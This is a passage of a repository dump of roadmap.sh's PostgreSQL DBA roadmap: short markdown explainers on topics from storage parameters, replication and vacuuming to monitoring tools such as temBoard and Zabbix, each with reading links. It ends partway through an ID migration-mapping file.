    "path": "src/data/roadmaps/postgresql-dba/content/storage-parameters@4VrT_K9cZZ0qE1EheSQy0.md",
    "content": "# Storage Parameters in PostgreSQL\n\nStorage parameters help optimize the database's performance by allowing you to configure settings related to memory usage, storage behavior, and buffer management for specific tables and indexes. PostgreSQL provides several configuration options to tailor the behavior of storage and I/O on a per-table or per-index basis. These options are set using the `ALTER TABLE` or `ALTER INDEX` commands, and they affect the overall performance of your database.\n\nLearn more from the following resources:\n\n- [@official@ALTER INDEX](https://www.postgresql.org/docs/current/sql-alterindex.html)\n- [@article@PostgreSQL Storage Parameters](https://pgpedia.info/s/storage-parameters.html)\n- [@article@SQL ALTER TABLE Statement](https://www.w3schools.com/sql/sql_alter.asp)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/strace@C_cUfEufYeUlAdVfdUvsK.md",
    "content": "# Strace\n\n`strace` is a powerful command-line tool used to diagnose and debug programs on Linux systems. It allows you to trace the system calls made by the process you're analyzing, allowing you to observe its interaction with the operating system.\n\nLearn more from the following resources:\n\n- [@article@strace man page](https://man7.org/linux/man-pages/man1/strace.1.html)\n- [@article@Understand system calls with strace](https://opensource.com/article/19/10/strace)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/streaming-replication@MwLlVbqceQ-GTgPJlgoQY.md",
    "content": "# Streaming Replication in PostgreSQL\n\nStreaming Replication is a powerful feature in PostgreSQL that allows efficient real-time replication of data across multiple servers. It is a type of asynchronous replication, meaning that the replication process occurs continuously in the background without waiting for transactions to be committed. The primary purpose of streaming replication is to ensure high availability and fault tolerance, as well as to facilitate load balancing for read-heavy workloads. In the context of PostgreSQL, streaming replication involves a *primary* server and one or more *standby* servers. The primary server processes write operations and then streams the changes (or write-ahead logs, also known as WAL) to the standby servers, which apply the changes to their local copies of the database. The replication is unidirectional – data flows only from the primary server to the standby servers.\n\nLearn more from the following resources:\n\n- [@article@Streaming Replication](https://wiki.postgresql.org/wiki/Streaming_Replication)\n- [@video@Postgres Streaming Replication on Centos](https://www.youtube.com/watch?v=nnnAmq34STc)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/subqueries@_Y-omKcWZOxto-xJka7su.md",
    "content": "# Subqueries\n\nA subquery is a query nested inside another query, often referred to as the outer query. Subqueries are invaluable tools for retrieving information from multiple tables, performing complex calculations, or applying filter criteria based on the results of other queries. They can be found in various parts of SQL statements, such as `SELECT`, `FROM`, `WHERE`, and `HAVING` clauses.\n\nLearn more from the following resources:\n\n- [@official@PostgreSQL Subquery](https://www.postgresql.org/docs/current/functions-subquery.html)\n- [@article@PostgreSQL Subquery](https://www.postgresqltutorial.com/postgresql-tutorial/postgresql-subquery/)\n- [@article@PostgreSQL Subqueries](https://www.w3resource.com/PostgreSQL/postgresql-subqueries.php)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/sysstat@0hRQtRsteGDnKO5XgLF1R.md",
    "content": "# Sysstat\n\nSysstat is a collection of performance monitoring tools for Linux. It collects various system statistics, such as CPU usage, memory usage, disk activity, network traffic, and more. System administrators can use these tools to monitor the performance of their servers and identify potential bottlenecks and areas for improvement.\n\nLearn more from the following resources:\n\n- [@opensource@sysstat/sysstat](https://github.com/sysstat/sysstat)\n- [@article@Sysstat – All-in-One System Performance and Usage Activity Monitoring Tool For Linux](https://www.tecmint.com/install-sysstat-in-linux/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/system-catalog@lDuBFA7cEMnd7Cl9MDgnf.md",
    "content": "# System Catalog\n\nThe PostgreSQL system catalog is a set of tables and views that store metadata about the database objects, providing critical information for database management and querying. Key system catalog tables include `pg_database` (information about databases), `pg_tables` (details of tables), `pg_indexes` (index information), `pg_class` (general information about tables, indexes, and sequences), `pg_attribute` (column details for each table), and `pg_roles` (user and role information). These catalogs enable the database engine and users to efficiently manage schema, security, and query optimization, ensuring effective database operations and maintenance.\n\nLearn more from the following resources:\n\n- [@official@System Catalogs](https://www.postgresql.org/docs/current/catalogs.html)\n- [@article@Exploring the PostgreSQL System Catalogs](https://www.openlogic.com/blog/postgresql-system-catalog-overview)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/tables@W8NhR4SqteMLfso8AD6H8.md",
    "content": "# Tables in PostgreSQL\n\nA table is one of the primary data storage objects in PostgreSQL. In simple terms, a table is a collection of rows or records, organized into columns. Each column has a unique name and contains data of a specific data type.\n\nLearn more from the following resources:\n\n- [@official@Table Basics](https://www.postgresql.org/docs/current/ddl-basics.html)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/temboard@aXG68inOu3trBWOmg9Yqx.md",
    "content": "# temBoard\n\ntemBoard is an open-source monitoring and management tool for PostgreSQL databases developed by Dalibo. It provides a web-based interface that helps database administrators (DBAs) manage and monitor multiple PostgreSQL instances efficiently. Key features of temBoard include:\n\n1.\tReal-Time Monitoring: Offers real-time insights into database performance metrics such as CPU usage, memory usage, disk I/O, and query performance. This helps DBAs quickly identify and address potential issues.\n2.\tAgent-Based Architecture: Uses a lightweight agent installed on each PostgreSQL instance to collect metrics and perform management tasks. This architecture ensures minimal performance impact on the monitored databases.\n3.\tAlerting and Notifications: Configurable alerts and notifications allow DBAs to receive timely updates on critical database events and performance issues, enabling proactive management and quicker response times.\n4.\tPerformance Analysis: Provides detailed performance analysis tools, including query statistics and historical performance data. This allows DBAs to analyze trends, identify bottlenecks, and optimize database performance.\n5.\tUser Management and Security: Supports user authentication and role-based access control, ensuring secure management of PostgreSQL instances. It also provides an audit log for tracking user activities.\n6.\tPlugin System: Extensible through plugins, allowing customization and addition of new features as needed.\n\nLearn more from the following resources:\n\n- [@official@temBoard Documentation](https://temboard.readthedocs.io/en/v8/)\n- [@opensource@dalibo/temboard](https://github.com/dalibo/temboard)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/tensor@xEu5n6U9-WKVxjlT5YUgx.md",
    "content": "# Tensor Query Language\n\nTensor Query Language (TQL) is a specialized SQL-like language designed for querying and managing datasets stored as tensors, primarily used within the Deep Lake platform. TQL extends traditional SQL capabilities to support multidimensional array operations, making it particularly useful for data science and machine learning workflows. Key features include array arithmetic, user-defined functions, and integration with deep learning frameworks like PyTorch and TensorFlow, allowing for efficient data manipulation and analysis directly within these environments.\n\nTQL enables users to perform complex queries on datasets, including operations like embedding search, array slicing, and custom numeric computations. This flexibility supports a wide range of applications, from simple data retrieval to sophisticated data preprocessing steps needed for training machine learning models. The language also integrates with version control, allowing users to manage and query different versions of their datasets seamlessly.\n\nLearn more from the following resources:\n\n- [@official@Tensor Query Language Documentation](https://docs.activeloop.ai/examples/tql)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/top@pvj33qDiG3sSjtiW6sUra.md",
    "content": "# Top Command in PostgreSQL\n\n`top` is a command-line utility that comes pre-installed on most Unix-based operating systems such as Linux, macOS, and BSD. It provides a dynamic, real-time view of the processes running on a system, displaying valuable information like process ID, user, CPU usage, memory usage, and more.\n\nLearn more from the following resources:\n\n- [@article@How to Use the top Command in Linux](https://phoenixnap.com/kb/top-command-in-linux)\n- [@article@top man page](https://man7.org/linux/man-pages/man1/top.1.html)\n- [@video@Demystifying the Top Command in Linux](https://www.youtube.com/watch?v=WsR11EGF9PA)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/transactions@ghgyAXJ72dZmF2JpDvu9U.md",
    "content": "# Transactions\n\nTransactions are a fundamental concept in database management systems, allowing multiple statements to be executed within a single transaction context. In PostgreSQL, transactions provide ACID (Atomicity, Consistency, Isolation, and Durability) properties, which ensure that your data remains in a consistent state even during concurrent access or system crashes. By leveraging transaction control, savepoints, concurrency control, and locking, you can build robust and reliable applications that work seamlessly with PostgreSQL.\n\nLearn more from the following resources:\n\n- [@official@Transactions](https://www.postgresql.org/docs/current/tutorial-transactions.html)\n- [@video@How to implement transactions](https://www.youtube.com/watch?v=DvJq4L41ru0)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/transactions@yFG_hVD3dB_qK8yphrRY5.md",
    "content": "# Transactions\n\nTransactions are a fundamental concept in database management systems, allowing multiple statements to be executed within a single transaction context. In PostgreSQL, transactions provide ACID (Atomicity, Consistency, Isolation, and Durability) properties, which ensure that your data remains in a consistent state even during concurrent access or system crashes. By leveraging transaction control, savepoints, concurrency control, and locking, you can build robust and reliable applications that work seamlessly with PostgreSQL.\n\nLearn more from the following resources:\n\n- [@official@Transactions](https://www.postgresql.org/docs/current/tutorial-transactions.html)\n- [@video@How to implement transactions](https://www.youtube.com/watch?v=DvJq4L41ru0)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/triggers@ps2KK88QA1n5udn2ochIn.md",
    "content": "# Advanced SQL: Triggers\n\nTriggers are special user-defined functions that get invoked automatically when an event (like `INSERT`, `UPDATE`, `DELETE`, or `TRUNCATE`) occurs on a specified table or view. They allow you to perform additional actions when data is modified in the database, helping to maintain the integrity and consistency of your data.\n\nLearn more from the following resources:\n\n- [@official@Triggers](https://www.postgresql.org/docs/8.1/triggers.html)\n- [@article@PostgreSQL Triggers](https://www.postgresqltutorial.com/postgresql-triggers/)\n- [@article@Understanding PostgreSQL Triggers](https://hevodata.com/learn/postgresql-triggers/)\n- [@video@Using PostgreSQL triggers to automate processes with Supabase](https://www.youtube.com/watch?v=0N6M5BBe9AE)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/tuples@vJhvgGwNV3JB-wWn_0gMb.md",
    "content": "# Tuples\n\nIn the relational model, a **tuple** is a fundamental concept that represents a single record or row in a table. In PostgreSQL, a tuple is composed of a set of attribute values, each corresponding to a specific column or field in the table. A tuple is defined as an ordered set of attribute values, meaning that each value in a tuple corresponds to a specific attribute or column in the table. The values can be of different data types, such as integers, strings, or dates, depending on the schema of the table.\n\nFor example, consider a `users` table with columns `id`, `name`, and `email`. A sample tuple in this table could be `(1, 'John Smith', 'john.smith@example.com')`, where each value corresponds to its respective column. PostgreSQL provides a variety of operations that can be performed on tuples.\n\nLearn more from the following resources:\n\n- [@article@How PostgreSQL Freezes Tuples](https://medium.com/@hnasr/how-postgres-freezes-tuples-4a9931261fc)\n- [@article@Whats the difference between and tuple and a row?](https://stackoverflow.com/questions/19799282/whats-the-difference-between-a-tuple-and-a-row-in-postgres)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/use@QWi84EjdHw5ChYsuwUhPC.md",
    "content": "# Troubleshooting Methods - Use\n\nThe Utilization Saturation and Errors (USE) Method is a methodology for analyzing the performance of any system. It directs the construction of a checklist, which for server analysis can be used for quickly identifying resource bottlenecks or errors. It begins by posing questions, and then seeks answers, instead of beginning with given metrics (partial answers) and trying to work backwards.\n\nLearn more from the following resources:\n\n- [@article@The USE Method](https://www.brendangregg.com/usemethod.html)\n- [@article@Making the USE method of monitoring useful](https://www.infoworld.com/article/2270621/making-the-use-method-of-monitoring-useful.html)\n- [@article@Adopting monitoring frameworks - RED and USE ](https://lantern.splunk.com/Observability/Product_Tips/Observability_Cloud/Adopting_monitoring_frameworks_-_RED_and_USE)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/using-docker@5MjJIAcn5zABCK6JsFf4k.md",
    "content": "# Using Docker for PostgreSQL Installation and Setup\n\nDocker is an excellent tool for simplifying the installation and management of applications, including PostgreSQL. By using Docker, you can effectively isolate PostgreSQL from your system and avoid potential conflicts with other installations or configurations.\n\nLearn more from the following resources:\n\n- [@official@Official PostgresSQL Docker Image](https://hub.docker.com/_/postgres)\n- [@video@How to Set Up a PostgreSQL Database with Docker](https://www.youtube.com/watch?v=RdPYA-wDhTA)\n- [@article@How to Use the Postgres Docker Official Image](https://www.docker.com/blog/how-to-use-the-postgres-docker-official-image/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/using-logical-replication@MVVWAf9Hk3Fom-wBhO64R.md",
    "content": "# 4.2 Using Logical Replication\n\nLogical replication is an asynchronous feature that allows data modification to be transferred from a source (publisher) to a target system (subscriber) across different PostgreSQL database versions. It provides more granular control over the data copied and is useful during an upgrade.\n\n**Advantages of Logical Replication**\n\n- It allows you to replicate only specific tables, rather than the entire database.\n- You can create replicas with different database schemas by using a transformation layer between publisher and subscriber.\n- It allows you to perform a live upgrade, avoiding the downtime of your database.\n\nLearn more from the following resources:\n\n- [@official@Logical Replication](https://www.postgresql.org/docs/current/logical-replication.html)\n- [@youtube@PostgreSQL Logical Replication Guide](https://www.youtube.com/watch?v=OvSzLjkMmQo)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/using-pg_ctl@a4j0Rs8Tl6-k9WP5zjaep.md",
    "content": "# Using `pg_ctl`\n\n`pg_ctl` is a command-line utility that enables you to manage a PostgreSQL database server. With `pg_ctl`, you can start, stop, and restart the PostgreSQL service, among other tasks.\n\nLearn more from the following resources:\n\n- [@official@pg_ctl](https://www.postgresql.org/docs/current/app-pg-ctl.html)\n- [@article@pg_ctl Tips and Tricks](https://pgdash.io/blog/pgctl-tips-tricks.html)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/using-pg_ctlcluster@v3SoKmeCh6uxKW5GAAMje.md",
    "content": "# Using pg_ctlcluster\n\n`pg_ctlcluster` is a command-line utility provided by PostgreSQL to manage database clusters. It is especially helpful for users who have multiple PostgreSQL clusters running on the same system.\n\nLearn more from the following resources:\n\n- [@article@pg_ctlcluster](https://manpages.ubuntu.com/manpages/focal/man1/pg_ctlcluster.1.html)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/using-pg_upgrade@cJYlZJ9f3kdptNrTlpMNU.md",
    "content": "# Using pg_upgrade\n\n`pg_upgrade` is a PostgreSQL utility that facilitates the in-place upgrade of a PostgreSQL database cluster to a new major version. It allows users to upgrade their database without needing to dump and restore the database, significantly reducing downtime. Here are the key steps involved in using `pg_upgrade`:\n\n1. **Preparation**: Before starting the upgrade, ensure both the old and new versions of PostgreSQL are installed. Backup the existing database cluster and ensure no connections are active.\n\n2. **Initialize the New Cluster**: Initialize a new PostgreSQL cluster with the target version using `initdb`.\n\n3. **Run `pg_upgrade`**: Execute the `pg_upgrade` command, specifying the data directories of the old and new clusters, and the paths to the old and new `pg_ctl` binaries.\n\n4. **Analyze and Optimize**: After the upgrade, run the `analyze_new_cluster.sh` script generated by `pg_upgrade` to update optimizer statistics. This step is crucial for performance.\n\n5. **Finalize**: If everything works correctly, you can start the new cluster and remove the old cluster to free up space.\n\nLearn more from the following resources:\n\n- [@official@pg_upgrade](https://www.postgresql.org/docs/current/pgupgrade.html)\n- [@video@Upgrade PostgreSQL with pg_upgrade](https://www.youtube.com/watch?v=DXHEk4fohcI)\n- [@article@Examining Postgres Upgrades with pg_upgrade](https://www.crunchydata.com/blog/examining-postgres-upgrades-with-pg_upgrade)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/using-systemd@P1Hm6ZlrhCRxbxOJkBHlL.md",
    "content": "# Using systemd\n\nUsing systemd to manage PostgreSQL involves utilizing the system and service manager to control the PostgreSQL service. This allows you to start, stop, and manage PostgreSQL automatically with the boot process.\n\nLearn more from the following resources:\n\n- [@article@What is systemd?](https://www.digitalocean.com/community/tutorials/what-is-systemd)\n- [@article@Systemd postgresql start script](https://unix.stackexchange.com/questions/220362/systemd-postgresql-start-script)\n- [@youtube@systemd on Linux](https://www.youtube.com/watch?v=N1vgvhiyq0E)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/vacuum-processing@dJzJP1uo4kVFThWgglPfk.md",
    "content": "# Vacuum Processing\n\nVacuum processing is an essential aspect of maintaining the performance and stability of a PostgreSQL database. PostgreSQL uses a storage technique called Multi-Version Concurrency Control (MVCC), which allows multiple transactions to access different versions of a database object simultaneously. This results in the creation of multiple \"dead\" rows whenever a row is updated or deleted. Vacuum processing helps in cleaning up these dead rows and reclaiming storage space, preventing the database from becoming bloated and inefficient.\n\nLearn more from the following resources:\n\n- [@article@PostgreSQL VACUUM Guide and Best Practices](https://www.enterprisedb.com/blog/postgresql-vacuum-and-analyze-best-practice-tips)\n- [@article@How to run VACUUM ANALYZE explicitly?](https://medium.com/@dmitry.romanoff/postgresql-how-to-run-vacuum-analyze-explicitly-5879ec39da47)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/vacuums@zoaqBP0Jbf0HpTH8Q3LkJ.md",
    "content": "# Vacuuming in PostgreSQL\n\nVacuuming is an essential component in PostgreSQL maintenance tasks. By reclaiming storage, optimizing performance, and keeping the database lean, vacuuming helps maintain the health of your PostgreSQL system. During the normal operation of PostgreSQL, database tuples (rows) are updated, deleted and added. This can lead to fragmentation, wasted space, and decreased efficiency. Vacuuming is used to:\n\n- Reclaim storage space used by dead rows.\n- Update statistics for the query planner.\n- Make unused space available for return to the operating system.\n- Maintain the visibility map in indexed relations.\n\nLearn more from the following resources:\n\n- [@official@VACUUM](https://www.postgresql.org/docs/current/sql-vacuum.html)\n- [@official@Routine Vacuuming](https://www.postgresql.org/docs/current/routine-vacuuming.html)\n- [@article@PostgreSQL Vacuuming Command to Optimize Database Performance](https://www.percona.com/blog/postgresql-vacuuming-to-optimize-database-performance-and-reclaim-space/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/wal-g@4gQSzH-WKFAvmkwlX_oyR.md",
    "content": "# WAL-G - An Advanced Backup Recovery Tool for PostgreSQL\n\nWAL-G is an open-source archival and restoration tool for PostgreSQL and MySQL/MariaDB, designed for managing Write-Ahead Logs (WAL) and performing continuous archiving. It extends the capabilities of the traditional `pg_basebackup` by supporting features like delta backups, compression, and encryption. WAL-G is optimized for cloud storage, integrating seamlessly with services like Amazon S3, Google Cloud Storage, and Azure Blob Storage. It ensures efficient backup storage by deduplicating data and providing incremental backup capabilities. Additionally, WAL-G supports point-in-time recovery, allowing databases to be restored to any specific time, enhancing disaster recovery processes.\n\nLearn more from the following resources:\n\n- [@opensource@wal-g/wal-g](https://github.com/wal-g/wal-g)\n- [@article@Continuous PostgreSQL Backups using WAL-G](https://supabase.com/blog/continuous-postgresql-backup-walg)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/what-are-relational-databases@soar-NBWCr4xVKj7ttfnc.md",
    "content": "# What are Relational Databases?\n\nRelational databases are a type of database management system (DBMS) that stores and organizes data in a structured format called tables. These tables are made up of rows, also known as records or tuples, and columns, which are also called attributes or fields. The term \"relational\" comes from the fact that these tables can be related to one another through keys and relationships.\n\nLearn more from the following resources:\n\n- [@article@Relational Databases](https://www.ibm.com/cloud/learn/relational-databases)\n- [@article@Intro To Relational Databases](https://www.udacity.com/course/intro-to-relational-databases--ud197)\n- [@article@Relational Databases: Concept and History](https://www.ibm.com/topics/relational-databases)\n- [@course@Databases and SQL](https://www.edx.org/course/databases-5-sql)\n- [@feed@Explore top posts about Relational Databases](https://app.daily.dev/tags/relational-databases?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/write-ahead-log@9VmQ-vN3nPyf1pTFIcj40.md",
    "content": "# Write Ahead Log (WAL)\n\nThe Write Ahead Log, also known as the WAL, is a crucial part of PostgreSQL's data consistency strategy. The WAL records all changes made to the database in a sequential log before they are written to the actual data files. In case of a crash, PostgreSQL can use the WAL to bring the database back to a consistent state without losing any crucial data. This provides durability and crash recovery capabilities for your database.\n\nLearn more from the following resources:\n\n- [@official@Write Ahead Logging](https://www.postgresql.org/docs/current/wal-intro.html)\n- [@article@Working With Postgres WAL Made Easy 101](https://hevodata.com/learn/working-with-postgres-wal/)\n- [@video@Write Ahead Logging](https://www.youtube.com/watch?v=yV_Zp0Mi3xs)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/write-ahead-log@9sadNsbHLqejbRPHWhx-w.md",
    "content": "# Write Ahead Log (WAL)\n\nThe Write Ahead Log, also known as the WAL, is a crucial part of PostgreSQL's data consistency strategy. The WAL records all changes made to the database in a sequential log before they are written to the actual data files. In case of a crash, PostgreSQL can use the WAL to bring the database back to a consistent state without losing any crucial data. This provides durability and crash recovery capabilities for your database.\n\nLearn more from the following resources:\n\n- [@official@Write Ahead Logging](https://www.postgresql.org/docs/current/wal-intro.html)\n- [@article@Working With Postgres WAL Made Easy 101](https://hevodata.com/learn/working-with-postgres-wal/)\n- [@video@Write Ahead Logging](https://www.youtube.com/watch?v=yV_Zp0Mi3xs)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/writing-patches@eQzMU_KyQmHJQ6gzyk0-1.md",
    "content": "# Writing Patches\n\nIf you are an experienced developer or willing to learn, you can contribute to PostgreSQL by writing patches. Patches are important to fix bugs, optimize performance, and implement new features. Here are some guidelines on how to write patches for PostgreSQL:\n\n### Step 1: Find an Issue or Feature\n\nBefore writing a patch, you should identify an issue in PostgreSQL that needs fixing or a feature that requires implementation. You can find existing issues or propose new ones in the [PostgreSQL Bug Tracker](https://www.postgresql.org/support/submitbug/) and [PostgreSQL mailing lists](https://www.postgresql.org/list/).\n\n### Step 2: Familiarize Yourself with the Codebase\n\nTo write a patch, you must have a good understanding of the PostgreSQL source code. The code is available on the [official website](https://www.postgresql.org/developer/sourcecode/) and is organized into different modules. Familiarize yourself with the coding conventions, coding style, and the appropriate module where your patch will be applied.\n\n### Step 3: Set up the Development Environment\n\nTo create a patch, you need a development environment with the required tools, such as Git, GCC, and Bison. Follow the instructions in the [PostgreSQL Developer Setup Guide](https://wiki.postgresql.org/wiki/Developer_Setup) to set up your environment.\n\n### Step 4: Write the Patch\n\nEnsure that your patch adheres to the [PostgreSQL Coding Conventions](https://www.postgresql.org/docs/current/source-format.html). This includes following proper indentation, formatting, and organizing your code. Write clear and concise comments to help others understand the purpose of your patch.\n\n### Step 5: Test the Patch\n\nBefore submitting your patch, thoroughly test it to ensure it works correctly and does not introduce new issues. Run the patch through the PostgreSQL regression test suite, as well as any additional tests specific to your patch.\n\n### Step 6: Create a Commit and Generate a Patch\n\nAfter completing your patch and testing it, create a Git commit with a clear and concise commit message. Use `git-format-patch` to generate a patch file that can be submitted to the PostgreSQL project.\n\n### Step 7: Submit the Patch\n\nOnce your patch is ready, submit it through the appropriate [PostgreSQL mailing list](https://www.postgresql.org/list/) for review. Be prepared to receive feedback, make revisions, and resubmit your patch if necessary. Remember, contributing to an open-source project like PostgreSQL is a collaborative process!\n\nBy following these steps, you will be well on your way to contributing to the PostgreSQL project by writing patches. Happy coding!"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/zabbix@z3VD68R2uyu1s-3giRxKr.md",
    "content": "# Zabbix: An Introduction\n\nZabbix is an open-source monitoring software for networks, servers, virtual machines, and cloud services. It provides real-time monitoring, alerting, and visualization of metrics collected from various IT infrastructure components. Zabbix supports multiple data collection methods, including SNMP, IPMI, JMX, and custom scripts, making it versatile for different environments. It features a web-based interface for configuration and monitoring, allowing users to set thresholds, generate alerts, and create detailed performance reports and dashboards. Zabbix also supports distributed monitoring, auto-discovery, and scaling capabilities, making it suitable for both small and large-scale deployments. It is widely used for its robustness, flexibility, and comprehensive monitoring capabilities.\n\nLearn more from the following resources:\n\n- [@official@Zabbix](https://www.zabbix.com/)\n- [@opensource@zabbix/zabbix](https://github.com/zabbix/zabbix)\n- [@article@Using Zabbix to Monitor your Home Network](https://jswheeler.medium.com/using-zabbix-to-monitor-your-home-network-71ed2b1181ae)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/migration-mapping.json",
    "content": "{\n  \"introduction\": \"lDIy56RyC1XM7IfORsSLD\",\n  \"introduction:what-are-relational-databases\": \"soar-NBWCr4xVKj7ttfnc\",\n  \"introduction:rdbms-benefits-limitations\": \"p3AmRr_y_ZBKzAU5eh7OU\",\n  \"introduction:postgresql-vs-others\": \"IAKERTzTpTds5kZLMCapM\",\n  \"introduction:postgresql-vs-nosql\": \"D0doJTtLu-1MmFOfavCXN\",\n  \"rdbms-concepts\": \"-M9EFgiDSSAzj9ISk-aeh\",\n  \"rdbms-concepts:object-model\": \"RoYP1tYw5dvhmkVTo1HS-\",\n  \"rdbms-concepts:object-model:databases\": \"DU-D3-j9h6i9Nj5ci8hlX\",\n  \"rdbms-concepts:object-model:tables\": \"W8NhR4SqteMLfso8AD6H8\",\n  \"rdbms-concepts:object-model:schemas\": \"mF6qAlo2ULJ3lECG2m0h7\",\n  \"rdbms-concepts:object-model:rows\": \"Rd3RLpyLMGQZzrxQrxDGo\",\n  \"rdbms-concepts:object-model:columns\": \"cty2IjgS1BWltbYmuxxuV\",\n  \"rdbms-concepts:object-model:data-types\": \"4Pw7udOMIsiaKr7w9CRxc\",\n  \"rdbms-concepts:object-model:queries\": \"xVocG4LuFdtphwoOxiJTa\",\n  \"rdbms-concepts:relational-model\": \"mDVbjdVN0spY7dI_8k1YW\",\n  \"rdbms-concepts:relational-model:domains\": \"-LuxJvI5IaOx6NqzK0d8S\",\n  \"rdbms-concepts:relational-model:tuples\": \"vJhvgGwNV3JB-wWn_0gMb\",\n  \"rdbms-concepts:relational-model:attributes\": \"XvZMSveMWqmAlXOxwWzdk\",\n  \"rdbms-concepts:relational-model:relations\": \"2hM2IPAnNYq-LlEbcFp2Z\",\n  \"rdbms-concepts:relational-model:constraints\": \"j9ikSpCD3yM5pTRFuJjZs\",\n  \"rdbms-concepts:relational-model:null\": \"91eOGK8mtJulWRlhKyv0F\",\n  \"rdbms-concepts:high-level-database-concepts\": \"_BSR2mo1lyXEFXbKYb1ZG\",\n  \"rdbms-concepts:high-level-database-concepts:acid\": \"9u7DPbfybqmldisiePq0m\",\n  \"rdbms-concepts:high-level-database-concepts:mvcc\": \"-_ADJsTVGAgXq7_-8bdIO\",\n  \"rdbms-concepts:high-level-database-concepts:transactions\": \"yFG_hVD3dB_qK8yphrRY5\",\n  \"rdbms-concepts:high-level-database-concepts:write-ahead-log\": \"9sadNsbHLqejbRPHWhx-w\",\n  \"rdbms-concepts:high-level-database-concepts:query-processing\": \"Qk14b9WyeCp9RV9WAwojt\",\n  \"installation-and-setup\": \"FtPiBWMFhjakyXsmSL_CI\",\n  \"installation-and-setup:connect-using-psql\": \"mMf2Mq9atIKk37IMWuoJs\",\n  \"installation-and-setup:deployment-in-cloud\": \"6SCcxpkpLmmRe0rS8WAPZ\",\n  \"installation-and-setup:using-docker\": \"5MjJIAcn5zABCK6JsFf4k\",\n  \"installation-and-setup:package-managers\": \"pEtQy1nuW98YUwrbfs7Np\",\n  \"installation-and-setup:using-systemd\": \"P1Hm6ZlrhCRxbxOJkBHlL\",\n  \"installation-and-setup:using-pgctl\": \"a4j0Rs8Tl6-k9WP5zjaep\",\n  \"installation-and-setup:using-pgctlcluster\": \"v3SoKmeCh6uxKW5GAAMje\",\n  \"learn-sql-concepts\": \"ANUgfkADLI_du7iRvnUdi\",\n  \"learn-sql-concepts:ddl-queries:for-schemas\": \"KMdF9efNGULualk5o1W0_\",\n  \"learn-sql-concepts:ddl-queries:for-tables\": \"ga8ZiuPc42XvZ3-iVh8T1\",\n  \"learn-sql-concepts:ddl-queries:data-types\": \"fvEgtFP7xvkq_D4hYw3gz\",\n  \"learn-sql-concepts:dml-queries:querying-data\": \"BEJyz0ohCglDucxfyuAy4\",\n  \"learn-sql-concepts:dml-queries:filtering-data\": \"dd2lTNsNzYdfB7rRFMNmC\",\n  \"learn-sql-concepts:dml-queries:modifying-data\": \"G2NKhjlZqAY9l32H0LPNQ\",\n  \"learn-sql-concepts:dml-queries:joining-tables\": \"Hura0LImG9pyPxaEIDo3X\",\n  \"learn-sql-concepts:import-export-using-copy\": \"umNNMpJh4Al1dEpT6YkrA\",\n  \"learn-sql-concepts:advanced-topics:transactions\": \"ghgyAXJ72dZmF2JpDvu9U\",\n  \"learn-sql-concepts:advanced-topics:cte\": \"fsZvmH210bC_3dBD_X8-z\",\n  \"learn-sql-concepts:advanced-topics:subqueries\": \"_Y-omKcWZOxto-xJka7su\",\n  \"learn-sql-concepts:advanced-topics:lateral-join\": \"fTsoMSLcXU1mgd5-vekbT\",\n  \"learn-sql-concepts:advanced-topics:grouping\": \"uwd_CaeHQQ3ZWojbmtbPh\",\n  \"learn-sql-concepts:advanced-topics:set-operations\": \"kOwhnSZBwIhIbIsoAXQ50\",\n  \"configuring-postgresql\": \"T819BZ-CZgUX_BY7Gna0J\",\n  \"configuring-postgresql:reporting-logging-statistics\": \"507TY35b8iExakbBMrHgZ\",\n  \"configuring-postgresql:adding-extensions\": \"VAf9VzPx70hUf4H6i3Z2t\",\n  \"configuring-postgresql:resources-usage\": \"yl3gxfQs4nOE0N7uGqR0d\",\n  \"configuring-postgresql:write-ahead-log\": \"9VmQ-vN3nPyf1pTFIcj40\",\n  \"configuring-postgresql:vacuums\": \"zoaqBP0Jbf0HpTH8Q3LkJ\",\n  \"configuring-postgresql:replication\": \"A3YTrZSUxNBq77iIrNdZ4\",\n  \"configuring-postgresql:query-planner\": \"hOPwVdIzesselbsI_rRxt\",\n  \"configuring-postgresql:checkpoints-background-writer\": \"3pLn1mhRnekG537ejHUYA\",\n  \"postgresql-security-concepts:object-priviliges:default-priviliges\": \"t18XjeHP4uRyERdqhHpl5\",\n  \"postgresql-security-concepts:object-priviliges:grant-revoke\": \"o1WSsw-ZIaAb8JF3P0mfR\",\n  \"postgresql-security-concepts:object-priviliges\": \"S20aJB-VuSpXYyd0-0S8c\",\n  \"postgresql-security-concepts\": \"2Zg8R5gs9LMQOcOMZtoPk\",\n  \"postgresql-security-concepts:authentication-models\": \"gb75xOcAr-q8TcA6_l1GZ\",\n  \"postgresql-security-concepts:roles\": \"l0lpaPy12JFCJ-RRYVSqz\",\n  \"postgresql-security-concepts:pg-hba-conf\": \"Y2W29M4piaQsTn2cpyR7Q\",\n  